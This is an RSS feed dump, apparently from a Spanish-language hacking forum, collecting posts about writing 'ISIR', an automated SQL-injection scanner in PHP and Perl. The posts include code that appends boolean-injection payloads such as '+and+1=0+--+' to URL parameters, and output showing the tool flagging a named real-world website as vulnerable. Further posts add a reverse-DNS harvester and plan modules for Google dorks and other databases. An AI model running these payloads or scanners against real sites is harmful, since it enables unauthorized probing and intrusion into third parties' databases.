				#echo &quot;\n###############################################\n&quot;;
	#$resultado[] = array('vulnerable' =&gt; false);
		}
			unset($valores);
			unset($web);
			}

		curl_close($ch);
#echo &quot;WEB \n&quot;;

print_r($webs_all);
return $resultado;
}

$url = &quot;http://www.cam-mantenimiento.com.ar/vernota.php?id=89&quot;;
#$url = &quot;http://www.losandesdaem.cl/index.php?nombre=Categorias&amp;area=8&amp;seccion=39&amp;accion=Leer&amp;id=279&quot;;
print_r(check($url));
?&gt;</pre><br /><br />Retorna :<br /><pre class="bbcode">
Array
(
    [0] =&gt; Array
        (
            [vulnerable] =&gt; 1
            [magic] =&gt; 
            [url+] =&gt; http://www.cam-mantenimiento.com.ar/vernota.php?id=89+and+1=1+--+
            [url-] =&gt; http://www.cam-mantenimiento.com.ar/vernota.php?id=89+and+1=0+--+
            [patron] =&gt; +and+1=0+--+
        )

)

</pre>]]></description>
<dc:creator>OzX</dc:creator>
<category>ISIR</category><pubDate>Mon, 09 Aug 2010 00:33:01 -0400</pubDate></item>
<item>
<guid>https://foro.undersecurity.net/read.php?66,5152,5152#msg-5152</guid>
<title>Lenguaje PHP. (2 replies)</title><link>https://foro.undersecurity.net/read.php?66,5152,5152#msg-5152</link><description><![CDATA[Ya , no doy mas vueltas, el lenguaje sera php ¡ y nada mas que php hasta las venas.<br />EN modo consola.<br /><br />Esop, para aclarar xD¡<br />Saludos¡]]></description>
<dc:creator>OzX</dc:creator>
<category>ISIR</category><pubDate>Sun, 15 Nov 2009 12:51:11 -0500</pubDate></item>
<item>
<guid>https://foro.undersecurity.net/read.php?66,4532,4532#msg-4532</guid>
<title>Problemas con perl. (15 replies)</title><link>https://foro.undersecurity.net/read.php?66,4532,4532#msg-4532</link><description><![CDATA[puess aunque tengo varios codigos bien avanzados, no me siento del todo comodo con perl . si si gran lenguaje, pero ya mis dedos se acomodaron al php.<br />y volver a retomar perl, para mi es volver atraz (pase de perl a php).<br /><br />Por eso, para los interesados, del proyecto, alistense en este hilo , y voten segun su opcion perl o php. Se cierra en 1 semana.<br />Si nadie dice nada, al respecto, osea ningun interesado, voy a empezar nuevamente con php.<br /><br /><br />Saludos¡]]></description>
<dc:creator>OzX</dc:creator>
<category>ISIR</category><pubDate>Sun, 25 Oct 2009 15:18:27 -0400</pubDate></item>
<item>
<guid>https://foro.undersecurity.net/read.php?66,4469,4469#msg-4469</guid>
<title>Reverse DNS (7 replies)</title><link>https://foro.undersecurity.net/read.php?66,4469,4469#msg-4469</link><description><![CDATA[Descripcion: Usa la pagina www.ip-adress.com para haserle un reverse dns a una webs, el code captura las pagina mediante un regexp y guarda los archivos en un archivo de texto.<br /><br /><pre class="perl bbcode_geshi"><div class="head">Language: Perl</div><span class="kw2">use</span> LWP<span class="sy0">::</span><span class="me2">UserAgent</span><span class="sy0">;</span>
<span class="kw2">use</span> HTTP<span class="sy0">::</span><span class="me2">Request</span><span class="sy0">;</span>
&nbsp;
<a href="http://perldoc.perl.org/functions/print.html"><span class="kw3">print</span></a> <span class="st0">&quot;Usage: perl script.pl &lt;web&gt;<span class="es0">\n</span>&quot;</span><span class="sy0">;</span>
<a href="http://perldoc.perl.org/functions/print.html"><span class="kw3">print</span></a> <span class="st0">&quot;Ex: perl reversedns.pl www.pagina.com<span class="es0">\n</span>&quot;</span><span class="sy0">;</span>
<span class="kw1">my</span> <span class="re0">$ua</span> <span class="sy0">=</span> <span class="kw2">new</span> LWP<span class="sy0">::</span><span class="me2">UserAgent</span><span class="sy0">;</span>
<span class="re0">$ua</span><span class="sy0">-&gt;</span><span class="me1">agent</span><span class="br0">&#40;</span><span class="st0">&quot;Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8.1.12) Gecko/20080201 Firefox/2.0.0.12&quot;</span><span class="br0">&#41;</span><span class="sy0">;</span>
&nbsp;
<span class="kw1">my</span> <span class="re0">$busqueda</span> <span class="sy0">=</span> <span class="kw2">new</span> HTTP<span class="sy0">::</span><span class="me2">Request</span> GET <span class="sy0">=&gt;</span><span class="st0">&quot;http://www.ip-adress.com/reverse_ip/$ARGV[0]&quot;</span><span class="sy0">;</span>
<span class="kw1">my</span> <span class="re0">$resultado</span> <span class="sy0">=</span> <span class="re0">$ua</span><span class="sy0">-&gt;</span><span class="me1">request</span><span class="br0">&#40;</span><span class="re0">$busqueda</span><span class="br0">&#41;</span><span class="sy0">;</span>
<span class="re0">$ua</span><span class="sy0">-&gt;</span><span class="me1">timeout</span><span class="br0">&#40;</span><span class="nu0">7</span><span class="br0">&#41;</span> <span class="sy0">||</span> <a href="http://perldoc.perl.org/functions/die.html"><span class="kw3">die</span></a> <span class="st0">&quot;Conecction faield&quot;</span><span class="sy0">;</span>
<span class="kw1">my</span> <span class="re0">$result</span> <span class="sy0">=</span> <span class="re0">$resultado</span><span class="sy0">-&gt;</span><span class="me1">content</span><span class="br0">&#40;</span><span class="br0">&#41;</span><span class="sy0">;</span>
&nbsp;
<span class="kw1">while</span> <span class="br0">&#40;</span><span class="re0">$result</span> <span class="sy0">=~</span> <a href="http://perldoc.perl.org/functions/m.html"><span class="kw3">m</span></a><span class="sy0">!&lt;</span>a href<span class="sy0">=</span><span class="st0">&quot;/whois/(.+)&quot;</span><span class="sy0">&gt;</span>Whois<span class="sy0">&lt;/</span>a<span class="sy0">&gt;!</span>ig<span class="br0">&#41;</span><span class="br0">&#123;</span>
&nbsp;
    <a href="http://perldoc.perl.org/functions/open.html"><span class="kw3">open</span></a> <span class="br0">&#40;</span>DNS<span class="sy0">,</span><span class="st0">&quot;&gt;&gt;reverse_dns.txt&quot;</span><span class="br0">&#41;</span><span class="sy0">;</span>
    <a href="http://perldoc.perl.org/functions/print.html"><span class="kw3">print</span></a> DNS <span class="st0">&quot;$1<span class="es0">\n</span>&quot;</span><span class="sy0">;</span>
    <a href="http://perldoc.perl.org/functions/close.html"><span class="kw3">close</span></a> <span class="br0">&#40;</span>DNS<span class="br0">&#41;</span><span class="sy0">;</span>
    <a href="http://perldoc.perl.org/functions/print.html"><span class="kw3">print</span></a> <span class="st0">&quot;$1<span class="es0">\n</span>&quot;</span><span class="sy0">;</span>
&nbsp;
&nbsp;
<span class="br0">&#125;</span></pre>]]></description>
<dc:creator>yoyahack</dc:creator>
<category>ISIR</category><pubDate>Wed, 04 Aug 2010 11:58:34 -0400</pubDate></item>
<item>
<guid>https://foro.undersecurity.net/read.php?66,4457,4457#msg-4457</guid>
<title>Verificar Input por Input en una url ?var=32&amp;ver=32&amp;vez=33 (no replies)</title><link>https://foro.undersecurity.net/read.php?66,4457,4457#msg-4457</link><description><![CDATA[Puesss creo que este modulo es fundamental.<br />Se trata de ir verificando cada valor get , post, etc por separado.<br />por ej tenemos la siguiente url.<br /><br /><pre class="bbcode">
http://www.locahost.tv/index.php?action=32&amp;idpro=216&amp;lng=566</pre><br /><br /><pre class="bbcode">
http://www.locahost.tv/index.php?action=32+<b>and+1=0</b>&amp;idpro=216&amp;lng=56
http://www.locahost.tv/index.php?action=32&amp;idpro=216<b>+and+1=0</b>&amp;lng=56
http://www.locahost.tv/index.php?action=32&amp;idpro=216&amp;lng=56<b>+and+1=0</b></pre><br />Si se fijan bien, el script descripta las query y genera 1 consulta separada por cada url.<br /><br /><pre class="perl bbcode_geshi"><div class="head">Language: Perl</div><span class="kw2">use</span> URI<span class="sy0">::</span><span class="me2">URL</span><span class="sy0">;</span>
 <span class="kw2">use</span> URI<span class="sy0">::</span><span class="me2">Escape</span><span class="sy0">;</span>
&nbsp;
<span class="co1">#Coded By OzX SQL INPUT RIPPER 0.1 </span>
<span class="co1">#YASBU MODULE</span>
<span class="co1">#Undersecurity.net</span>
&nbsp;
<span class="kw2">sub</span> make<span class="br0">&#40;</span><span class="re0">$url</span><span class="sy0">,</span><span class="re0">$c</span><span class="br0">&#41;</span><span class="br0">&#123;</span>
	<span class="re0">$url</span> <span class="sy0">=</span> <span class="co5">$_</span><span class="br0">&#91;</span><span class="nu0">0</span><span class="br0">&#93;</span><span class="sy0">;</span>
	<span class="re0">$c</span> <span class="sy0">=</span> <span class="co5">$_</span><span class="br0">&#91;</span><span class="nu0">1</span><span class="br0">&#93;</span><span class="sy0">;</span>
	<span class="kw1">my</span> <span class="br0">&#40;</span><span class="re0">@query</span><span class="sy0">,</span><span class="re0">@matriz</span><span class="br0">&#41;</span> <span class="sy0">=</span> <a href="http://perldoc.perl.org/functions/undef.html"><span class="kw3">undef</span></a><span class="sy0">;</span>
	<span class="re0">@query</span>     <span class="sy0">=</span> <span class="re0">$url</span><span class="sy0">-&gt;</span><span class="me1">query_form</span><span class="sy0">;</span>
	<span class="re0">$loop</span> <span class="sy0">=</span> <span class="nu0">0</span><span class="sy0">;</span>
	<span class="re0">$control</span> <span class="sy0">=</span> <span class="nu0">1</span><span class="sy0">;</span>
	<span class="kw1">foreach</span> <span class="re0">$q</span> <span class="br0">&#40;</span><span class="re0">@query</span><span class="br0">&#41;</span><span class="br0">&#123;</span>
		<span class="kw1">if</span><span class="br0">&#40;</span><span class="re0">$loop</span> <span class="sy0">%</span> <span class="nu0">2</span> <span class="sy0">==</span> <span class="nu0">0</span><span class="br0">&#41;</span><span class="br0">&#123;</span>
			<a href="http://perldoc.perl.org/functions/push.html"><span class="kw3">push</span></a><span class="br0">&#40;</span><span class="re0">@matriz</span><span class="sy0">,</span><span class="re0">$q</span><span class="br0">&#41;</span><span class="sy0">;</span>
		<span class="br0">&#125;</span><span class="kw1">else</span><span class="br0">&#123;</span>
			<span class="kw1">if</span> <span class="br0">&#40;</span><span class="re0">$control</span> <span class="sy0">==</span> <span class="re0">$c</span><span class="br0">&#41;</span><span class="br0">&#123;</span>		
				<span class="re0">$q</span> <span class="sy0">=</span> <span class="re0">$q</span><span class="sy0">.</span><span class="st0">&quot;+and+1=0&quot;</span><span class="sy0">;</span><span class="co1">#cambiar</span>
				<a href="http://perldoc.perl.org/functions/push.html"><span class="kw3">push</span></a><span class="br0">&#40;</span><span class="re0">@matriz</span><span class="sy0">,</span><span class="re0">$q</span><span class="br0">&#41;</span><span class="sy0">;</span>
				<span class="re0">$control</span> <span class="sy0">=</span> <a href="http://perldoc.perl.org/functions/undef.html"><span class="kw3">undef</span></a><span class="sy0">;</span>
&nbsp;
			<span class="br0">&#125;</span><span class="kw1">else</span><span class="br0">&#123;</span>
				<a href="http://perldoc.perl.org/functions/push.html"><span class="kw3">push</span></a><span class="br0">&#40;</span><span class="re0">@matriz</span><span class="sy0">,</span><span class="re0">$q</span><span class="br0">&#41;</span><span class="sy0">;</span>
					<span class="kw1">if</span> <span class="br0">&#40;</span><span class="re0">$control</span> <span class="sy0">!=</span> <a href="http://perldoc.perl.org/functions/undef.html"><span class="kw3">undef</span></a><span class="br0">&#41;</span><span class="br0">&#123;</span>
						<span class="re0">$control</span><span class="sy0">++;</span>
					<span class="br0">&#125;</span>
			<span class="br0">&#125;</span>
		<span class="br0">&#125;</span>
	<span class="re0">$loop</span><span class="sy0">++;</span>
	<span class="br0">&#125;</span>
<a href="http://perldoc.perl.org/functions/return.html"><span class="kw3">return</span></a> <span class="re0">@matriz</span><span class="sy0">;</span>
<span class="br0">&#125;</span>
&nbsp;
&nbsp;
<span class="kw2">sub</span> make_querys<span class="br0">&#123;</span>
	<span class="re0">$uri</span> <span class="sy0">=</span> <span class="co5">$_</span><span class="br0">&#91;</span><span class="nu0">0</span><span class="br0">&#93;</span><span class="sy0">;</span>
	<span class="re0">$url</span> <span class="sy0">=</span> <span class="kw2">new</span> URI<span class="sy0">::</span><span class="me2">URL</span> <span class="re0">$uri</span><span class="sy0">;</span>
	<a href="http://perldoc.perl.org/functions/return.html"><span class="kw3">return</span></a> <span class="re0">$url</span><span class="sy0">-&gt;</span><span class="me1">query_form</span><span class="br0">&#40;</span><span class="br0">&#41;</span><span class="sy0">;</span>
<span class="br0">&#125;</span>
&nbsp;
<span class="kw2">sub</span> show<span class="br0">&#123;</span>
	<span class="re0">$url</span> <span class="sy0">=</span> <span class="co5">$_</span><span class="br0">&#91;</span><span class="nu0">0</span><span class="br0">&#93;</span><span class="sy0">;</span>
	<span class="re0">$x</span> <span class="sy0">=</span> <span class="co5">$_</span><span class="br0">&#91;</span><span class="nu0">1</span><span class="br0">&#93;</span><span class="sy0">;</span>
	<span class="kw1">my</span> <span class="br0">&#40;</span><span class="re0">$url</span><span class="br0">&#41;</span> <span class="sy0">=</span> <a href="http://perldoc.perl.org/functions/undef.html"><span class="kw3">undef</span></a><span class="sy0">;</span>
	<span class="re0">$url</span> <span class="sy0">=</span> <span class="kw2">new</span> URI<span class="sy0">::</span><span class="me2">URL</span> <span class="re0">$uri</span><span class="sy0">;</span>
	<span class="re0">@matriz</span> <span class="sy0">=</span> <span class="re0">&amp;make</span><span class="br0">&#40;</span><span class="re0">$url</span><span class="sy0">,</span><span class="re0">$x</span><span class="br0">&#41;</span><span class="sy0">;</span>
	<span class="re0">$url</span><span class="sy0">-&gt;</span><span class="me1">query_form</span><span class="br0">&#40;</span><span class="re0">@matriz</span><span class="br0">&#41;</span><span class="sy0">;</span>
	<span class="co1">#print uri_unescape($url).&quot;\n&quot;;</span>
	<a href="http://perldoc.perl.org/functions/return.html"><span class="kw3">return</span></a> <span class="re0">$url</span><span class="sy0">;</span>
&nbsp;
<span class="br0">&#125;</span>
<span class="re0">$uri</span> <span class="sy0">=</span> <span class="st0">&quot;http://www.locahost.tv/index.php?action=32&amp;idpro=216&amp;lng=56&quot;</span><span class="sy0">;</span>
&nbsp;
&nbsp;
<span class="re0">@query</span> <span class="sy0">=</span> make_querys<span class="br0">&#40;</span><span class="re0">$uri</span><span class="br0">&#41;</span><span class="sy0">;</span>
<span class="re0">$controlq</span> <span class="sy0">=</span> <a href="http://perldoc.perl.org/functions/scalar.html"><span class="kw3">scalar</span></a><span class="br0">&#40;</span><span class="re0">@query</span><span class="br0">&#41;</span> <span class="sy0">/</span> <span class="nu0">2</span> <span class="sy0">;</span>
&nbsp;
<span class="kw1">for</span><span class="br0">&#40;</span><span class="re0">$x</span><span class="sy0">=</span><span class="nu0">1</span><span class="sy0">;</span><span class="re0">$x</span><span class="sy0">&lt;=</span><span class="re0">$controlq</span><span class="sy0">;</span><span class="re0">$x</span><span class="sy0">++</span><span class="br0">&#41;</span><span class="br0">&#123;</span>
	<a href="http://perldoc.perl.org/functions/print.html"><span class="kw3">print</span></a> uri_unescape<span class="br0">&#40;</span>show<span class="br0">&#40;</span><span class="re0">$url</span><span class="sy0">,</span><span class="re0">$x</span><span class="br0">&#41;</span><span class="br0">&#41;</span><span class="sy0">.</span><span class="st0">&quot;<span class="es0">\n</span>&quot;</span><span class="sy0">;</span>
<span class="br0">&#125;</span></pre><br /><br />Tengo un par de puntos que optimiazar, como es el caso de la obtencion del array desde query_form.<br /><br />Saludos¡]]></description>
<dc:creator>OzX</dc:creator>
<category>ISIR</category><pubDate>Tue, 29 Sep 2009 20:44:04 -0400</pubDate></item>
<item>
<guid>https://foro.undersecurity.net/read.php?66,4397,4397#msg-4397</guid>
<title>parse_url() (no replies)</title><link>https://foro.undersecurity.net/read.php?66,4397,4397#msg-4397</link><description><![CDATA[A pedido de oz hice una pequeña función para facilitar el disección de una URL y asi testear cada una de sus propiedades:<br /><br /><pre class="perl bbcode_geshi"><div class="head">Language: Perl</div><span class="co1">#!/usr/bin/perl</span>
&nbsp;
<span class="re0">%data</span><span class="sy0">=</span>parse_url<span class="br0">&#40;</span><span class="st0">&quot;http://sorgle.com.ar/some_dir/another/index.php?id=999&amp;user=root&amp;ls=asdaeeeds&quot;</span><span class="sy0">,</span> <span class="nu0">1</span><span class="br0">&#41;</span><span class="sy0">;</span>
<a href="http://perldoc.perl.org/functions/printf.html"><span class="kw3">printf</span></a><span class="br0">&#40;</span><span class="st0">&quot;MIME: %s
Host: %s
Dirs: %s
File: %s
Request: %s
&quot;</span><span class="sy0">,</span> <span class="re0">$data</span><span class="br0">&#123;</span>mime_type<span class="br0">&#125;</span><span class="sy0">,</span> <span class="re0">$data</span><span class="br0">&#123;</span>host<span class="br0">&#125;</span><span class="sy0">,</span> <span class="re0">$data</span><span class="br0">&#123;</span>directories<span class="br0">&#125;</span><span class="sy0">,</span> <span class="re0">$data</span><span class="br0">&#123;</span>file<span class="br0">&#125;</span><span class="sy0">,</span> <span class="re0">$data</span><span class="br0">&#123;</span>requests<span class="br0">&#125;</span><span class="br0">&#41;</span><span class="sy0">;</span>
&nbsp;
<span class="kw2">sub</span> parse_url<span class="br0">&#123;</span>
	<span class="kw1">my</span> <span class="re0">$url</span><span class="sy0">=</span><a href="http://perldoc.perl.org/functions/shift.html"><span class="kw3">shift</span></a><span class="sy0">;</span>
	<span class="kw1">my</span> <span class="re0">$bool_req</span><span class="sy0">=</span><a href="http://perldoc.perl.org/functions/shift.html"><span class="kw3">shift</span></a><span class="sy0">||</span><span class="nu0">0</span><span class="sy0">;</span>
	<span class="kw1">my</span> <span class="re0">$req_separator</span><span class="sy0">=</span><a href="http://perldoc.perl.org/functions/shift.html"><span class="kw3">shift</span></a><span class="sy0">||</span><span class="st0">&quot;&amp;&quot;</span><span class="sy0">;</span>
	<span class="kw1">my</span> <span class="br0">&#40;</span><span class="re0">@vars</span><span class="sy0">,</span> <span class="re0">@content</span><span class="br0">&#41;</span><span class="sy0">;</span>
&nbsp;
	<span class="re0">%parsed</span><span class="sy0">=</span><span class="br0">&#40;</span>
		<span class="st_h">'mime_type'</span><span class="sy0">,</span>
		<span class="st_h">'host'</span><span class="sy0">,</span>
		<span class="st_h">'directories'</span><span class="sy0">,</span>
		<span class="st_h">'file'</span><span class="sy0">,</span>
		<span class="st_h">'requests'</span>
	<span class="br0">&#41;</span><span class="sy0">;</span>
&nbsp;
	<span class="br0">&#40;</span><span class="re0">$parsed</span><span class="br0">&#123;</span>mime_type<span class="br0">&#125;</span><span class="sy0">,</span> <span class="re0">$parsed</span><span class="br0">&#123;</span>host<span class="br0">&#125;</span><span class="sy0">,</span> <span class="re0">$parsed</span><span class="br0">&#123;</span>directories<span class="br0">&#125;</span><span class="sy0">,</span> <span class="re0">$parsed</span><span class="br0">&#123;</span>file<span class="br0">&#125;</span><span class="sy0">,</span> <span class="re0">$parsed</span><span class="br0">&#123;</span>requests<span class="br0">&#125;</span><span class="br0">&#41;</span><span class="sy0">=</span><span class="re0">$url</span><span class="sy0">=~</span><a href="http://perldoc.perl.org/functions/m.html"><span class="kw3">m</span></a><span class="sy0">/</span>
<span class="br0">&#40;</span><span class="sy0">?=^</span><span class="br0">&#40;</span>http<span class="br0">&#91;</span><a href="http://perldoc.perl.org/functions/s.html"><span class="kw3">s</span></a><span class="br0">&#93;</span><span class="sy0">*</span><span class="br0">&#41;</span><span class="br0">&#123;</span><span class="nu0">1</span><span class="br0">&#125;</span>\<span class="sy0">:</span>\<span class="sy0">/</span>\<span class="sy0">/</span>
	<span class="br0">&#40;</span><span class="sy0">?:</span>
		<span class="br0">&#40;</span>
			<span class="br0">&#40;</span><span class="sy0">?:</span><span class="br0">&#91;</span>a<span class="sy0">-</span>z0<span class="sy0">-</span><span class="nu0">9</span>\<span class="sy0">-</span><span class="br0">&#93;</span><span class="sy0">+</span>\<span class="sy0">.</span><span class="br0">&#41;</span><span class="sy0">*</span><span class="br0">&#91;</span>a<span class="sy0">-</span>z0<span class="sy0">-</span><span class="nu0">9</span>\<span class="sy0">-</span><span class="br0">&#93;</span><span class="sy0">+</span>\<span class="sy0">.</span><span class="br0">&#40;</span><span class="sy0">?:</span>com<span class="sy0">|</span>net<span class="sy0">|</span>org<span class="sy0">|</span>biz<span class="sy0">|</span>co<span class="sy0">|</span>it<span class="br0">&#41;</span><span class="br0">&#40;</span><span class="sy0">?:</span>\<span class="sy0">.</span><span class="br0">&#40;</span><span class="sy0">?:</span>ar<span class="sy0">|</span>cl<span class="sy0">|</span>ir<span class="sy0">|</span>ur<span class="sy0">|</span>br<span class="br0">&#41;</span><span class="br0">&#41;</span><span class="sy0">*</span>
				<span class="sy0">|</span>
			<span class="br0">&#40;</span><span class="sy0">?:</span><span class="br0">&#91;</span><span class="nu0">0</span><span class="sy0">-</span><span class="nu0">9</span><span class="br0">&#93;</span><span class="br0">&#123;</span><span class="nu0">1</span><span class="sy0">,</span><span class="nu0">3</span><span class="br0">&#125;</span>\<span class="sy0">.</span><span class="br0">&#41;</span><span class="br0">&#123;</span><span class="nu0">3</span><span class="br0">&#125;</span><span class="br0">&#91;</span><span class="nu0">0</span><span class="sy0">-</span><span class="nu0">9</span><span class="br0">&#93;</span><span class="br0">&#123;</span><span class="nu0">1</span><span class="sy0">,</span><span class="nu0">3</span><span class="br0">&#125;</span>
		<span class="br0">&#41;</span>
	<span class="br0">&#41;</span>
	<span class="br0">&#40;</span>\<span class="sy0">/+</span>
		<span class="br0">&#40;</span><span class="sy0">?:</span><span class="br0">&#91;</span>a<span class="sy0">-</span>z0<span class="sy0">-</span><span class="nu0">9</span>\<span class="sy0">-</span><span class="re0">\_</span>\<a href="http://perldoc.perl.org/functions/s.html"><span class="kw3">s</span></a>\<span class="sy0">.</span>\<span class="sy0">;</span><span class="br0">&#93;</span><span class="sy0">+</span>\<span class="sy0">/+</span><span class="br0">&#41;</span><span class="sy0">*</span>
	<span class="br0">&#41;</span><span class="sy0">+</span>
	<span class="br0">&#40;</span><span class="sy0">?:</span>
		<span class="br0">&#40;</span><span class="br0">&#91;</span>a<span class="sy0">-</span>z0<span class="sy0">-</span><span class="nu0">9</span>\<span class="sy0">-</span><span class="re0">\_</span>\<a href="http://perldoc.perl.org/functions/s.html"><span class="kw3">s</span></a>\<span class="sy0">.</span>\<span class="sy0">;</span><span class="br0">&#93;</span><span class="sy0">+</span><span class="br0">&#40;</span><span class="sy0">?:</span>\<span class="sy0">.</span><span class="re0">\w</span><span class="br0">&#123;</span><span class="nu0">1</span><span class="sy0">,</span><span class="nu0">4</span><span class="br0">&#125;</span><span class="br0">&#41;</span><span class="sy0">*</span><span class="br0">&#41;</span>
	<span class="br0">&#41;</span><span class="sy0">*</span>
	<span class="br0">&#40;</span><span class="sy0">.*</span><span class="br0">&#41;</span> <span class="co1">#fuck it!</span>
<span class="br0">&#41;</span><span class="sy0">/</span>gix<span class="sy0">;</span>
&nbsp;
	<span class="kw1">if</span><span class="br0">&#40;</span><span class="re0">$bool_req</span><span class="sy0">==</span><span class="nu0">1</span><span class="br0">&#41;</span><span class="br0">&#123;</span>
&nbsp;
		<span class="kw1">foreach</span><span class="br0">&#40;</span><span class="re0">$parsed</span><span class="br0">&#123;</span>requests<span class="br0">&#125;</span><span class="sy0">=~/</span><span class="br0">&#40;</span><span class="sy0">?:</span><span class="br0">&#40;</span><span class="br0">&#91;</span>a<span class="sy0">-</span>z0<span class="sy0">-</span><span class="nu0">9</span>\<span class="sy0">.</span>\<span class="sy0">-</span>_\<a href="http://perldoc.perl.org/functions/s.html"><span class="kw3">s</span></a><span class="br0">&#93;</span><span class="sy0">+</span><span class="br0">&#40;</span><span class="sy0">?:</span><span class="br0">&#91;</span>\<span class="sy0">=</span><span class="br0">&#93;</span><span class="br0">&#91;</span><span class="sy0">^</span>\<span class="sy0">&amp;</span><span class="br0">&#93;</span><span class="sy0">+</span><span class="br0">&#41;</span><span class="br0">&#41;</span><span class="sy0">+</span><span class="br0">&#41;</span><span class="sy0">+/</span>gxi<span class="br0">&#41;</span><span class="br0">&#123;</span>
			<a href="http://perldoc.perl.org/functions/push.html"><span class="kw3">push</span></a><span class="br0">&#40;</span><span class="re0">@vars</span><span class="sy0">,</span> <span class="co3">$1</span><span class="br0">&#41;</span> <span class="sy0">&amp;&amp;</span> <a href="http://perldoc.perl.org/functions/push.html"><span class="kw3">push</span></a><span class="br0">&#40;</span><span class="re0">@content</span><span class="sy0">,</span> <span class="co3">$2</span><span class="br0">&#41;</span> <span class="kw1">if</span><span class="br0">&#40;</span><span class="co5">$_</span><span class="sy0">=~/^</span><span class="br0">&#40;</span><span class="sy0">.*</span><span class="br0">&#41;</span>\<span class="sy0">=</span><span class="br0">&#40;</span><span class="sy0">.*</span><span class="br0">&#41;</span><span class="co5">$/</span><span class="br0">&#41;</span><span class="sy0">;</span>
		<span class="br0">&#125;</span>
	<span class="br0">&#125;</span>
&nbsp;
	<span class="kw1">for</span><span class="br0">&#40;</span><span class="re0">$i</span><span class="sy0">=</span><span class="nu0">0</span><span class="sy0">;</span><span class="re0">$i</span><span class="sy0">&lt;</span><span class="re0">@vars</span><span class="sy0">;</span><span class="re0">$i</span><span class="sy0">++</span><span class="br0">&#41;</span><span class="br0">&#123;</span>
		<a href="http://perldoc.perl.org/functions/print.html"><span class="kw3">print</span></a> <span class="st0">&quot;<span class="es0">\t</span>variable: &quot;</span><span class="sy0">,</span><span class="re0">$vars</span><span class="br0">&#91;</span><span class="re0">$i</span><span class="br0">&#93;</span><span class="sy0">,</span><span class="st0">&quot; ('&quot;</span><span class="sy0">,</span><span class="re0">$content</span><span class="br0">&#91;</span><span class="re0">$i</span><span class="br0">&#93;</span><span class="sy0">,</span><span class="st0">&quot;')<span class="es0">\n</span>&quot;</span><span class="sy0">;</span>
	<span class="br0">&#125;</span>
&nbsp;
	<a href="http://perldoc.perl.org/functions/return.html"><span class="kw3">return</span></a> <span class="re0">%parsed</span><span class="sy0">;</span>
<span class="br0">&#125;</span></pre><br />Este es el resultado:<br /><pre class="bbcode">
c1c4tr1z(bash) % ~ $ perl parse_url.pl 
	variable: id ('999')
	variable: user ('root')
	variable: ls ('asdaeeeds')
MIME: http
Host: sorgle.com.ar
Dirs: /some_dir/another/
File: index.php
Request: ?id=999&amp;user=root&amp;ls=asdaeeeds
c1c4tr1z(bash) % ~ $</pre><br />Espero sugerencias :D]]></description>
<dc:creator>C1c4Tr1Z</dc:creator>
<category>ISIR</category><pubDate>Fri, 25 Sep 2009 11:15:13 -0400</pubDate></item>
<item>
<guid>https://foro.undersecurity.net/read.php?66,4384,4384#msg-4384</guid>
<title>Ideas / Sugerencias (no replies)</title><link>https://foro.undersecurity.net/read.php?66,4384,4384#msg-4384</link><description><![CDATA[<b>Modulos que Faltan</b><br /><br /><ul><li>Google Dork</li><li>Postgrest Module</li><li>Oracle Module</li><li>Asp Check Vulnz</li><li>Cfm Check Vulnz</li><li>Reverse Dns Module</li></ul>]]></description>
<dc:creator>OzX</dc:creator>
<category>ISIR</category><pubDate>Thu, 24 Sep 2009 13:49:31 -0400</pubDate></item>
<item>
<guid>https://foro.undersecurity.net/read.php?66,4381,4381#msg-4381</guid>
<title>¿Nombres para La Tool? (12 replies)</title><link>https://foro.undersecurity.net/read.php?66,4381,4381#msg-4381</link><description><![CDATA[ISIR<br /><br /><b>Injection SQL Input Ripper.</b>]]></description>
<dc:creator>OzX</dc:creator>
<category>ISIR</category><pubDate>Thu, 25 Mar 2010 21:22:18 -0400</pubDate></item>
</channel>
</rss>